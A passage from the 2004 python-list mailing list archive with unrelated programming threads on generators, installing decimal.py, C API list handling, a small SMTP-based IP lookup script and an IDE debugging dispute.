 >>> E.mro()
 [<class '__main__.E'>, <type 'object'>]

Is there another method that update looks for first that serves update better
than keys() and __getitem__ so it ignores the latter? Presumably a method that
dict would have but not object?

ISTM I recall a similar problem with some builtin functions not calling overriding
subclass methods as one might expect?

Regards,
Bengt Richter


From exarkun at divmod.com  Thu Sep  2 23:33:08 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Thu, 02 Sep 2004 23:33:08 -0400
Subject: Recursive Generator Question
In-Reply-To: <6543373d.0409021839.5caff11d@posting.google.com>
References: <6543373d.0409021839.5caff11d@posting.google.com>
Message-ID: <4137E5F4.4050300@divmod.com>

Paul Chiusano wrote:
> I've been playing around with generators and have run into a
> difficulty. Suppose I've defined a Node class like so:
> 
> class Node:	
> 	def __init__(self, data=None, left=None, right=None):
> 		self.children = []
> 		self.children.append(left)
> 		self.children.append(right)
> 		self.data = data
> 	
> 	def __iter__(self): return self
> 			
> 	def next(self):
>         """ Returns iteration over terminal nodes of this tree. """
> 		if self.data:
> 			yield self
> 		else:
> 			for child in self.children:
> 				for terminal in child:
> 					yield terminal
> 
> 
> And then suppose I create a little binary tree like so:
> 
> a = Node('a')
> b = Node('b')
> c = Node('c')
> d = Node('d')
> ab = Node(left=a, right=b)
> cd = Node(left=c, right=d)
> abcd = Node(left=ab, right=cd)
> 
> for termNodes in abcd:
> 	print termNodes.data # gives an error
> 
> when I do this, I get the following error:
> Traceback (most recent call last):
>   File "C:\Documents and Settings\Paul
> Chiusano\workspace\sandbox\hello.py", line 69, in ?
>     print termNodes.data
> AttributeError: 'generator' object has no attribute 'data'
> 
> For some reason, that iteration is returning generators instead of
> leaves. Curiously, if I replace that for loop with
> 
> for termNodes in terminals(abcd): # see definition below 
> 	print termNodes.data # no problem!
> 
> then it actually prints out:
> a
> b
> c
> d
> 
> Here's the definition of terminals--pretty much identical to next. 
> 
> def terminals(t):
> 	""" Returns an iteration over the leaves of a tree, t """
> 	if t.data: # if I have data, then I'm a terminal node
> 		yield t
> 	else: 
> 		for child in t.children:
> 			for terminal in terminals(child):
> 				yield terminal
> 
> Am I missing something? Or is it not possible to define recursive
> generators in this way?

   The generators are a red herring :)  Iterating over an object calls 
__iter__ on the object, then repeatedly calls next on the object 
returned by __iter__.  Each object next returns is taken as a value for 
iteration.

   So, if we examine your node class, we see that when __iter__ is 
called, the same object is returned.  When next is called on the node 
class, a generator is returned.  Oops.  Throw away your current __iter__ 
method and rename your next method __iter__.  Now when __iter__ is 
called, it will return a generator, and when next is called on the 
generator, you will get the leaf nodes you were looking for.

   Jp


> 
> Thanks,
> Paul



From FBatista at uniFON.com.ar  Thu Sep 23 12:55:34 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 23 Sep 2004 13:55:34 -0300
Subject: How-to get decimal.py if you have Python 2.3.x
Message-ID: <A128D751272CD411BC9200508BC2194D053C79CB@escpl.tcp.com.ar>


How-to get decimal.py if you have Python 2.3.x
==============================================

Next I'll show you how to install the decimal.py module in your Python
2.3.x.

This module comes with the standard Python 2.4 and newer distributions; in
these cases you don't need to download it separately. Note that decimal is
not officially supported for Python 2.2 and older distributions.


Downloading the necessary files
-------------------------------

You can take two different ways here: download a module installer, or
download the files separately.

In the first case, the procedure is simple, but maybe you won't get the
latest version. In the second case, the procedure has more steps but you'll
be sure of getting the module latest version.


Using the installer
^^^^^^^^^^^^^^^^^^^

Go to http://sourceforge.net/projects/sigefi, enter to the File Releases
section and choose the package type to download:

- ``decimal-x.x.win32.exe``: Windows only.
- ``decimal-x.x-x.rpm``: For RPM based Linux distributions.
- ``decimal-x.x.tar.gz``: The simplest and most general (should work
wherever you have Python installed).

In the first case, just execute the installer. In the second case, do ``rpm
-i decimal-x.x-x.rpm`` as root.

In the third case, also as root, unzip and untar the package, go to the
created directory and execute the installer::

    gunzip decimal-x.x.tar.gz
    tar -xf decimal-x.x.tar
    cd decimal-x.x
    python setup.py install


Downloading the files separately
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

The decimal module is only one file: decimal.py, which you can download from
the Python CVS:

 
http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Lib/decimal.py

This file must be put in your Python installation ``site-packages``
directory (for example, in ``C:\Python23\FIXME\site-packages`` or in
``/usr/lib/python2.3/site-packages``). Note that you may need administrator
privileges to put the file there.

To test the installation you need additional files: test_decimal.py and the
test files (inside a directory), that you can download also from the CVS:

 
http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Lib/test/test_d
ecimal.py
 
http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Lib/test/decima
ltestdata/
    

Checking that everything is fine
--------------------------------

If you chose the third installation method, where you executed the installer
you'll have a ``test`` directory. If you downloaded the files separately,
you should have in a test directory the ``test_decimal.py`` file (that
directory could be anyone, as you wish) and there the ``decimaltestdata``
directory.

In any case, go to that test directory and execute the tests with::

    python test_decimal.py

You'll see a lot of messages while different module parts are tested, ending
with a message similar to::

    OK
    doctest (decimal) ... nn tests with zero failures

If there's any problem with the tests, please contact the developers.


Documentation
-------------

Where you executed the installer you'll have a ``docs`` directory. There is
the documentation in several formats:

- HTML: Open the ``index.html`` file with your favorite browser.
- Tex: The doc sources are in the ``libdecimal.tex`` file.

The .tex file was extracted from the Python CVS, and the htmls were
extracted from the on-line Python documentation (modified to get all the
Decimal related links point to the downloaded files).

You can also check the documentation via web at
http://www.python.org/dev/doc/devel/lib/module-decimal.html.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040923/99627eed/attachment.html>

From pwilkinson at videotron.ca  Thu Sep  2 15:41:20 2004
From: pwilkinson at videotron.ca (Peter Wilkinson)
Date: Thu, 02 Sep 2004 15:41:20 -0400
Subject: Testing character files
In-Reply-To: <1094153294.416994@teapot.planet.gong>
References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com>
	<1094153294.416994@teapot.planet.gong>
Message-ID: <6.0.3.0.0.20040902153713.01c44dc0@mail.xbioinformatics.org>

I have been parsing character files that use ASCII and unicode (utf_16) 
encoded.

I have written a script for converting unicode to ASCII given a directory. 
I would like the script to test that a given file _is_ the in the 'utf_16' 
format before attempting to read it, i.e. it should only convert those 
files that are unicode.

Are there any built in methods, for testing a file encoding ?

Peter 



From martindemello at yahoo.com  Thu Sep  2 05:16:19 2004
From: martindemello at yahoo.com (Martin DeMello)
Date: Thu, 02 Sep 2004 09:16:19 GMT
Subject: YOU ALL SUCK!
References: <1bf5bcb9.15695836@aol.com>
	<Pine.LNX.4.44.0409012156390.29696-100000@ccc4.wpi.edu>
Message-ID: <DxBZc.300171$J06.183548@pd7tw2no>

Christopher T King <squirrel at wpi.edu> wrote:

[snip]

Funniest thing I've seen all day! 

martin


From indigo at bitglue.com  Fri Sep 10 09:34:09 2004
From: indigo at bitglue.com (Phil Frost)
Date: Fri, 10 Sep 2004 09:34:09 -0400
Subject: python, javascript and mysql
In-Reply-To: <hMidnR_NH9PyNdzcRVn-vg@comcast.com>
References: <Xns95601196933C1inderjitraiyahoocom@66.185.95.104>
	<hMidnR_NH9PyNdzcRVn-vg@comcast.com>
Message-ID: <20040910133409.GA24262@unununium.org>

Also, if you output the table as HTML and give an element an 'id' or
'name attribute, then you can find that elemente in javascript and
examine its contents. Take a look at
<http://devedge.netscape.com//toolbox/sidebars/2001/dom2/core.xml> for
all the nifty things javascript can do with an HTML document. Also,
devedge.netscape.com has much other interesting javascript on it.

On Fri, Sep 10, 2004 at 08:13:24AM -0500, Larry Bates wrote:
> The answer is that you can do it either way.
> You can have python create JavaScript that creates
> a variable (normally an array) that contains the
> values and then have a JavaScript function that
> builds the table via DOM or you can just create
> the entire page using Python (as HTML) on the
> server and send it.  All depends on exactly how
> the application needs to act and if you are
> comfortable with JavaScript client programming.
> 
> Larry Bates
> Syscon, Inc.
> 
> "someguy" <inderjitrai at yahoo.com> wrote in message
> news:Xns95601196933C1inderjitraiyahoocom at 66.185.95.104...
> > Hi all!
> >     I'm new to python so i'm hoping someone could help me out.  I'm
> > trying to use python for cgi.  I have a page with pictures along the sides
> > and a table in the middle.  The pictures on the side change using
> > javascript.  What I want to do is populate that table by getting the
> > records from mySql using python and then somehow populate my table on the
> > page with these values.  How do i pass these values from python back to
> > javascript?  Or do i have to generate the whole html code again in the cgi
> > file?
> >
> > Thanks in advance


From alexander.hoffmann at netgenius.de  Wed Sep  8 04:01:27 2004
From: alexander.hoffmann at netgenius.de (Alexander Hoffmann)
Date: Wed, 8 Sep 2004 10:01:27 +0200
Subject: *.pyc files without using absolute path
Message-ID: <200409081001.27182.alexander.hoffmann@netgenius.de>

Hello,

I have a project with a number of python modules, which means there are 
several *.py files all in the same folder /usr/local/myproject/*.py .
I ran the program to test it and of course as a result the *.pyc files were 
created. Since everything was running fine I gave the *.pyc files (not the 
source) to a friend of mine. He put it in his home dir and executed the 
program. Then there was an error because some of the modules tried to import 
the others with absolute path "/usr/local/myproject/*.pyc) which did not 
exists on my friend's machine. 
To get more clarification I searched for the absolute path in my local *.pyc 
files (grep -a "/usr/local/myproject" *.pyc) and indeed there were a lot of 
matching lines. 
How can I make Python create *.pyc files without absolute path when all the 
modules (besides built-in like "string", "os" etc. ) are in the same dir ?

Thanks to you !
Alex


From groups.google at gnosis.cx  Fri Sep 17 02:13:15 2004
From: groups.google at gnosis.cx (David Mertz, Ph.D.)
Date: 16 Sep 2004 23:13:15 -0700
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
Message-ID: <8cf9f521.0409162213.105d321e@posting.google.com>

Bryan Olson <fakeaddress at nowhere.org> wrote in message news:
> Mertz certainly is saying they are like co-routines, and he
> seems to think the major difference is in the scheduler.  I
> think he's wrong: the key difference is switching from anywhere,
> not just one-call-down.

It's too bad you didn't bother to READ my article at:

  http://gnosis.cx/publish/programming/charming_python_b5.html

This is distinct from my other article that covers "weightless
threads", though there is some overlap in the concepts.

While you do need a scheduler to control the branching, once you have
this you get EXACTLY the same thing as coroutines in other languages. 
Specifically, you can branch from any generator, into the body of
whatever other generator you wish.

I think all the arrogant tone went so much to your head that you
forgot to *think*.

Yours, David...


From ialbert at mailblocks.com  Fri Sep 17 13:39:36 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Fri, 17 Sep 2004 13:39:36 -0400
Subject: Recommendations about xmltramp
In-Reply-To: <opsehcf5d4r0m89z@fx1025>
References: <opsehcf5d4r0m89z@fx1025>
Message-ID: <p4CdnTzAp_HFvNbcRVn-jw@giganews.com>

Jonas Hei wrote:

> Can anyone elaborate/explain about scenarios in which xmltramp can 
> corrupt  data?

xmltramp is a XML data reading framework. It cannot corrupt data.
It may parse it incorrectly though.

Istvan.


From claird at lairds.us  Thu Sep 16 08:08:05 2004
From: claird at lairds.us (Cameron Laird)
Date: Thu, 16 Sep 2004 12:08:05 GMT
Subject: Economic considerations (was: up with PyGUI!)
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
Message-ID: <f5ao12-46u.ln1@lairds.us>

In article <1gk5wxv.1rnwtamytx5m5N%aleaxit at yahoo.com>,
Alex Martelli <aleaxit at yahoo.com> wrote:
>Jorge Godoy <godoy at ieee.org> wrote:
>   ...
>> > On a Mac it looks like anything else does on a Mac, and
>> > on Linux or Windows it (currently) looks like anything
>> > else that uses Gtk.
>> 
>> I'm not familiar with the looks on Macs...  But I remember something of
>> it, from the last visit to a store that has some of these here
>> (I remember specially the design of the computers, the look of the
>> applications seemed very interesting, but KDE is approaching it very
>> fast, IMHO).
>
>IMNSHO, nope -- I'm quite a fan of KDE, but I discovered Macs 9 months
>ago and immediately fell in love with MacOSX's "Aqua" user interface
>look and feel.  These days I use a Mac for everything I can possibly use
>one for, even though I mostly program for Linux (and a little Windows).
>
>> I really would like a lot if it was possible to write
>> non-GPL code with Qt (not that I'm against GPL software, but some
>
>It's perfectly possible: Trolltech, the authors of Qt, will be extremely
>happy to sell you a commercial license of Qt so you can develop and sell
>your code as closed-source or whatever.
>
>
>> > As far as I can remember, I drew them with Appleworks 6,
>> > printed them to PDF files, opened them with Preview and
>> > then saved them as jpegs. (Photoshop might also have been
>> > involved in there somewhere, I don't recall now.)
>> 
>> Too bad these aren't tools available on Linux or FreeBSD...  I really
>> liked the way they look :-)
>
>Me too (well, not Photoshop, actually -- if I had to process images I
>think I'd use GIMP instead), so I use them on my Mac iBook 12" laptop
>(whose operating system's guts aren't all that far from FreeBSD --
>there's some Mach microkernel involved, but it's very unlikely that
>could possibly be a problem -- those guts are all opensource, too, under
>the name of 'Darwin').
			.
			.
			.
Me, too, Alex; that is, while I'm sitting in a room with, um, four
x86-based hosts, and my follow-up edit image is on a Linux host a
thousand kilometers away, I'm typing on a MacOS portable.  I can't
imagine ever again buying a Windows machine, although that's where
most of my deliveries are.

Something certainly is frustrating, though, at least, in regard to
Apple prices in Brazil and elsewhere.  I've threatened a few times
to start a business importing used boxes to precisely that country.
MacOS is so valuable now, and the prices for it there, specifically,
so aberrant, that *something* is wrong.  It sure would be a pleasure
to be able to help make useful computing more affordable.

I utterly agree with your comment elsewhere that a simple-minded
comparative-advantage calculation calls into question the current
habit that third-world body shops aspire to write custom software
for the first-world rich.  "One step at a time" is all I can think
to say.

Incidentally, my expert sources emphasize to me that GIMP still
has a long way to go before it effectively rivals Photoshop.


From tim.peters at gmail.com  Thu Sep  2 23:35:19 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Thu, 2 Sep 2004 23:35:19 -0400
Subject: Announcing PyCs, a new Python-like language on .Net
In-Reply-To: <tcnyyenzzf4d.y8gn2kmuvrqm.dlg@40tude.net>
References: <mailman.2572.1093751093.5135.python-list@python.org>
	<99dce321.0408292132.36ef381e@posting.google.com>
	<tcnyyenzzf4d.y8gn2kmuvrqm.dlg@40tude.net>
Message-ID: <1f7befae04090220356ce53a07@mail.gmail.com>

...

[David M. Wilson]
>> Also judging by what I've seen of Prothon and read here, neither of
>> your proposed languages are either Python-like or related to this
>> group.

[Mark Hahn]
> Tim Peters and Guido both disagree with you.  They have both told
> me to post here and keep the community informed of my work.  They
> consider Prothon a "sandbox" that Python can learn from.

This is true!  Without mountains of backward compatibility
constraining you in all directions, you can try things that CPython
will likely never be able to try.  You pick interesting things to try,
too, and Python 3000 stands to benefit from such experiments.

But you're not *required* to post here.  If the general Python
community can't see value in fresh approaches (which is likely true of
all, um, "mature" language communities in-the-large), maybe sticking
to python-dev would cut some needless grief from your life.


From abra9823 at mail.usyd.edu.au  Mon Sep 27 22:57:45 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Tue, 28 Sep 2004 12:57:45 +1000
Subject: finding time when url was modified
In-Reply-To: <yIWdnZvyE_ffUMXcRVn-vg@powergate.ca>
References: <mailman.3986.1096334803.5135.python-list@python.org>
	<5r36d.524$gk.491@okepread01>
	<mailman.3988.1096336962.5135.python-list@python.org>
	<yIWdnZvyE_ffUMXcRVn-vg@powergate.ca>
Message-ID: <1096340265.4158d3295d3d3@www-mail.usyd.edu.au>

Quoting Peter Hansen <peter at engcorp.com>:

> Ajay wrote:
> > is it possible for someone to change the Last-Modified header? Can
> someone
> > put a new updated document, but in such a way that if someone requests
> > that document, they get an old date rather than the new date?
> > i can see a CGI script add its own header and then write out the
> document.
> > but can this be done with a simple HTML page?
>
> Certainly... the server can do anything it wants with that
> header, including failing to provide it, providing an invalid
> date, providing a date in the future or distant past, or
> even providing a date that happens to correspond exactly
> with the true "last modified" date of the document...
>
> Whether a *particular* server will do that with a *particular*
> kind of document is a different question altogether.
>
> Do you have a specific situation involving this that you
> can describe, or are you just asking in general, out of
> curiosity?

thanks
it was mostly out of curiousity. I have an interchange where the servers
would send a policy and request a resource. the other server would
evaluate the policy and respond accordingly.
i am hoping to cut down on the evaluation by maintaining a record of past
transactions and if everything is the same (policy, resource ets) then
take the same action as before. one way was to store policy used earlier
and compare that with the new one and so on. since the app is for a mobile
device with low processing power, i was hoping to perhaps use modified date
- which when i thought a little more about it is clearly not feasible.

i guess comparing two really large strings is what i'll have to go with.
any ideas on performance of string comparisons?

cheers

>
> -Peter
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From mrsilva at fastmail.fm  Mon Sep 27 03:48:20 2004
From: mrsilva at fastmail.fm (Marcio Rosa da Silva)
Date: Mon, 27 Sep 2004 09:48:20 +0200
Subject: emacs python-mode bug #1021885
Message-ID: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de>

Hi!

I am having some problem with python-emacs mode. I found a bug related 
to it at sf.net:

bug #1021885 shell gets set to 'cpython':

http://sourceforge.net/tracker/?group_id=86916&atid=581349&func=detail&aid=1021885

The problem is that when I try to run the script using C-c C-c, I get 
the following message:

"Wrong type argument: sequencep, cpython"

My question is if there is anyone that found a workaround to this problem?

Thanks!

Marcio


From surfmatj at email.si  Wed Sep 22 21:49:29 2004
From: surfmatj at email.si (Matjaz)
Date: Thu, 23 Sep 2004 03:49:29 +0200
Subject: Python lists ans sequence protocol from C API
In-Reply-To: <1gkjfm7.wrjgtylgweyeN%aleaxit@yahoo.com>
References: <cirskl$3kr$1@planja.arnes.si>
	<1gkjfm7.wrjgtylgweyeN%aleaxit@yahoo.com>
Message-ID: <cita3c$ahj$1@planja.arnes.si>

Alex, thanks. In the meantime I also found out what I
was doing wrong. One question, though. Would you
prefer using Py_BuildValue("") over Py_None and
increfing it?

Matjaz.

Alex Martelli wrote:
> Matjaz <surfmatj at email.si> wrote:
>    ...
> 
>>PySequence_SetItem with the following error message:
>>"Unhandled exception at 0x1e04ed1a in python.exe:
>>0xC0000005: Access violation reading location 0x00000000."
>>Could it be that basic lists do not support sequence protocol?
> 
> 
> Once they're valid Python list objects, they do...
> 
> 
>>Or am I missing something? I'm using Python 2.3.4 on Windows XP.
> 
> 
> You're missing the fact that you're never building a valid Python list
> object in your code.  The slots, as PyObject*, are 'random', probably
> null pointers.  That's why you're supposed to use PyList_SET_ITEM
> specifically to initialize these 'slots' WITHOUT trying to decref the
> previously held item... there IS no 'previously held item'...!
> 
> 
>>PyObject *argseq, *ov;
>>int i, v, len;
>>
>>len = 2;
>>argseq = PyList_New(len);
> 
> 
> This does NOT initialize the slots of list argseq, as above explained.
> 
> 
>>for (i=0; i<len; i++) {
>>     ov = PyInt_FromLong(i);
>>     printf("Index %d. Success %d.\n", i, PySequence_SetItem(argseq, i, ov));
>>}
> 
> 
> But this does try to decref that null pointer (or whatever), so, BOOM.
> 
> 
>>Why would I wish to use sequence with basic lists protocol? Because my
>>code should also deal with other sequence types, possibly subclassed from
>>python lists.
> 
> 
> Nevertheless they'll need to be properly built, inizialized, first.
> 
> Add initialization, such as an immediate:
>     for (i=0; i<len; i++) {
>         PyList_SET_ITEM(argseq, i, Py_BuildValue(""));
>     }
> just after your
>     argseq = PyList_New(len);
> and you should be fine with PySequence_whateveryouwish now.
> 
> 
> Alex
> 
> 


From sheldonplankton at yahoo.com  Sun Sep 19 00:57:40 2004
From: sheldonplankton at yahoo.com (Sheldon Plankton)
Date: 18 Sep 2004 21:57:40 -0700
Subject: New Programmer and Python
References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com>
Message-ID: <2e05134b.0409182057.68ccfab5@posting.google.com>

Hi PMD96,

I had to learn Perl once.  A co-worker suggested that I take a look at
http://www.perlmonks.org I did and wow! I became a Perl guru.  I
changed jobs and at this new job they use Python.  I think Python is
great but there is no pythonmonks ... well until now ... I am starting
a sight called Snakehandlers.net,
right now I run it off my desktop at home so check it out at
http://216.175.112.88.

Thanks for you support!
Plankton

"PMD96" <PMD96 at comcast.net> wrote in message news:<_NidnfFXMMGVyNHcRVn-hg at comcast.com>...
> I'm new to programming and have been recommended to start with Python.  I've 
> reviewed the tutorial and am looking for additional learning tools to learn 
> programming and Python.  Any recommendations?


From rstephens at vectron.com  Thu Sep 16 10:44:43 2004
From: rstephens at vectron.com (Ron Stephens)
Date: 16 Sep 2004 07:44:43 -0700
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
Message-ID: <a5415304.0409160644.41adea51@posting.google.com>

Can anyone give me a brief comparison of the purposes of these two
projects (AnyGUI and pyGUI)? In other words, how are the motivations
and goals for each project different?

Ron Stephens


From gen2n at seznam.cz  Mon Sep 13 03:48:01 2004
From: gen2n at seznam.cz (p.kosina)
Date: Mon, 13 Sep 2004 09:48:01 +0200
Subject: glade
Message-ID: <ci3jd7$5e8$1@news.vol.cz>

Does there exist any python plug-in (or something like that) for Glade 
2.0.1. win32 port? I cant find any or links are unavailable.
Thanks
Pavel


From skip at pobox.com  Wed Sep  8 17:40:09 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 8 Sep 2004 16:40:09 -0500
Subject: Machine identification
In-Reply-To: <20040908205301.GD19306@unpythonic.net>
References: <01f101c495cd$a786cc40$054b12ac@D18SYX41>
	<mailman.3050.1094666837.5135.python-list@python.org>
	<O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com>
	<20040908205301.GD19306@unpythonic.net>
Message-ID: <16703.31801.534210.542247@montanaro.dyndns.org>


    Jeff> If this address is a non-routable address, such as 10.0.2.2, which
    Jeff> will be NATted by some other machine, the problem can't be solved
    Jeff> by writing a few lines of Python to execute on the NATted machine.

When I need my cable modem's address I use the following script (called,
oddly enough, printip):

    #!/usr/bin/env python

    import smtplib, re, socket, os, sys

    s = smtplib.SMTP("suitable.smtp.server.name.here")
    code, msg = s.helo()
    s.quit()
    mat = re.search("([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)", msg)

    if mat is not None:
        print mat.group(1)
    else:
        print "IP address unknown"
        sys.exit(1)

It generates a remote SMTP connection and picks the ip address out of the
helo() response.  I don't know if this is a general solution, but it's
worked for me for several years (modtime on the script file says Dec 7
2001).  The remote SMTP server I connect to runs sendmail.  YMMV.

Skip


From marie-claude.savoie at sympatico.ca  Tue Sep 21 15:17:14 2004
From: marie-claude.savoie at sympatico.ca (Gordon Williams)
Date: Tue, 21 Sep 2004 15:17:14 -0400
Subject: list.pop and print doing funny things
References: <mailman.3669.1095791640.5135.python-list@python.org>
	<ybednYBdUs-K4c3cRVn-uA@comcast.com>
Message-ID: <H1%3d.13446$pA.917391@news20.bellglobal.com>


"Larry Bates" <lbates at swamisoft.com> wrote in message
news:ybednYBdUs-K4c3cRVn-uA at comcast.com...
> Whenever you pop from the list it is destructive
> and the result is returned, which means it will
> be echoed in the interpreter.

Forgot about the echo.  Thanks




From zondervanz at gmail.com  Mon Sep 13 02:02:30 2004
From: zondervanz at gmail.com (zipher)
Date: 12 Sep 2004 23:02:30 -0700
Subject: generator expressions and new ternary operator
Message-ID: <3b59a80.0409122202.77061a66@posting.google.com>

It seems the debate over PEP 308 (if-then-else expression) occurred
prior to the arrival of generator expressions.

Mightn't this new latter syntax be the ticket to a "one obvious way"
to write a ternary expression in python?

>>> (foo(i) if i==42 else bar(i))   # i==42 ? foo(i) : bar(i)

zipher


From tolot at jupiter.solar-empire.de  Tue Sep 28 18:31:50 2004
From: tolot at jupiter.solar-empire.de (Marc Christiansen)
Date: Wed, 29 Sep 2004 00:31:50 +0200
Subject: all pairs of items in a list without indexing?
References: <mailman.4028.1096403649.5135.python-list@python.org>
Message-ID: <mb5p22-322.ln1@halut.solar-empire.de>

Steven Bethard <steven.bethard at gmail.com> wrote:
> So I need to do something like:
> 
> for i in range(len(l)):
>    for j in range(i+1, len(l)):
>        # do something with (l[i], l[j])
> 
[...]
> I could do something like:
> 
> for i, item1 in enumerate(l):
>    for j in range(i+1, len(l)):
>        (item1, l[j])
> 
> but that only gets me halfway there...  I also thought of something like:
> 
> for i, item1 in enumerate(l):
>    for item2 in l[i+1:]:
>        (item1, item2)
> 
> but that seems like a lot of wasteful list slicing...

You could try something like:

    for i, item1 in enumerate(l):
        for item2 in itertools.islice(l, i+1, None):
            (item1, item2)

I'm not sure which version I prefer.

  Marc


From dave at pythonapocrypha.com  Tue Sep 28 13:13:11 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 28 Sep 2004 11:13:11 -0600
Subject: annoying behavior
In-Reply-To: <9418be08.0409280856.9368ddf@posting.google.com>
References: <9418be08.0409280856.9368ddf@posting.google.com>
Message-ID: <41599BA7.6010001@pythonapocrypha.com>

Elbert Lev wrote:
> # here is the problem I ran into:
 >
 > class foo:
 >     def __init__(self, host):
 >         self.f()
 >         self.r = True
[snip code using attribute before it existed]
> #here is the output:
> #AttributeError: foo instance has no attribute 'r'
> 
> # I understand why does this happen, but, to tell the truth,
> # this feature is very annoying.

This "feature" is pretty useful! :)

> # Are there any plans to relax this restriction? 
> # In 3.0 :)?

Goodness, I sure hope not! (and I doubt it too) What behavior do you have in 
mind? Anything different than the current behavior would be confusing/misleading 
and would hide bugs like the one you encountered.

-Dave


From danperl at rogers.com  Mon Sep 27 12:04:47 2004
From: danperl at rogers.com (Dan Perl)
Date: Mon, 27 Sep 2004 12:04:47 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net><mailman.3864.1096040439.5135.python-list@python.org><mfydnUd5Idex1srcRVn-pQ@rogers.com><tpudnXILROwO88rcRVn-sw@powergate.ca>
	<mailman.3947.1096250696.5135.python-list@python.org>
	<kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com>
Message-ID: <efidneft_NO8p8XcRVn-tQ@rogers.com>


"Steve Holden" <steve at holdenweb.com> wrote in message 
news:4157FD67.80404 at holdenweb.com...
> Dan Perl wrote:
>
>> Yes, that's what I was talking about.  Thanks, Carlos, for explaining it. 
>> I actually should have said false detection of exceptions or wrong 
>> detection of exceptions.  I don't remember what Wingware are calling it. 
>> Actually, the way they were qualifying it was something like "if you do 
>> not see this exception when running the script outside the IDE, then you 
>> should probably flag it to be ignored".  And they are giving a list of 
>> builtin modules where those exceptions are usually "falsely" detected.
>>
> As a recent convert to Wing I think you aren't giving them enough credit: 
> remember, this only happens in the 2.0 BETA product (or, if it also 
> happens in earlier versions, they are definitely planning to minimize the 
> effects in the production version).

According to the documentation this was happening in much earlier, 
production, versions.  You are saying "they are definitely planning to 
minimize the effects in the production version".  Can you please qualify 
that?  Minimize how?  What does "minimizing the effects" mean anyway?

>> I didn't try to figure out what their exception detection mechanism is 
>> and why they have this problem.  I just uninstalled the IDE.  So 10 days 
>> for the trial was more than enough after all. ;-)  I think I had it 
>> installed for about 2 days.  I can tolerate a bug and I wouldn't be so 
>> riled up, but what got me was the marketing spin and how they were just 
>> excusing the bug, like they would never fix it.
>>
> Well, I'm sure I remember reading somewhere that before they go into 
> production they plan to add a standard list of such exceptions for the 
> various Python versions, so that the standard libraries are far less 
> troublesome in this respect.

A "standard" list?  I don't see what's "standard" about that.  And the 
"standard libraries" are not "troublesome", the IDE is.  On the other hand, 
I suppose that this would be an "effect minimization".  I don't know what 
their plans are, but they could include a list of all the possible false 
positives and automatically ignore them.  Forgive me, but that is a hack and 
I will not have any respect for that.

You are using the same kind of marketing spin speak that Wingware is using. 
I can understand that you like the tool and you feel you have to defend it. 
But I think this is the wrong way to do it, both for you and for Wingware.

I probably shouldn't get so worked up about it.  To be fair, since I tried 
the tool I have discovered that Wing IDE also has the option to disable that 
behavior and to debug in a mode where unhandled exceptions are just treated 
like a normal run would treat them.

> Plus, IIRC, all you have to do is check an "ignore this exception" box to 
> have a specific exception ignored everafter, which didn't seem like a huge 
> deal to me.

It's just too bad I don't have a checkbox for "Ignore marketing spin at this 
location".

Dan 




From mauriceling at acm.org  Fri Sep  3 00:51:28 2004
From: mauriceling at acm.org (Maurice LING)
Date: Fri, 03 Sep 2004 04:51:28 GMT
Subject: Modules are hashable?!
In-Reply-To: <ch8rkp$ncp$1@news.service.uci.edu>
References: <2pld08Fm7mo8U1@uni-berlin.de>
	<1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com>
	<4137ed92$1@news.unimelb.edu.au>
	<ch8rkp$ncp$1@news.service.uci.edu>
Message-ID: <4137f84c@news.unimelb.edu.au>

is there actually a practical reason to hash modules? can I call a 
module using the hash key?

maurice


From tzot at sil-tec.gr  Wed Sep 29 03:29:51 2004
From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou)
Date: Wed, 29 Sep 2004 10:29:51 +0300
Subject: dummy tk windows
References: <gEk2d.25744$%S.13058@pd7tw2no>
	<pan.2004.09.17.04.39.08.814115@adelphia.net>
	<y_x2d.32754$%S.793@pd7tw2no>
Message-ID: <11pkl09ltjndeapdj14cf3qdsjmfg9f6vk@4ax.com>

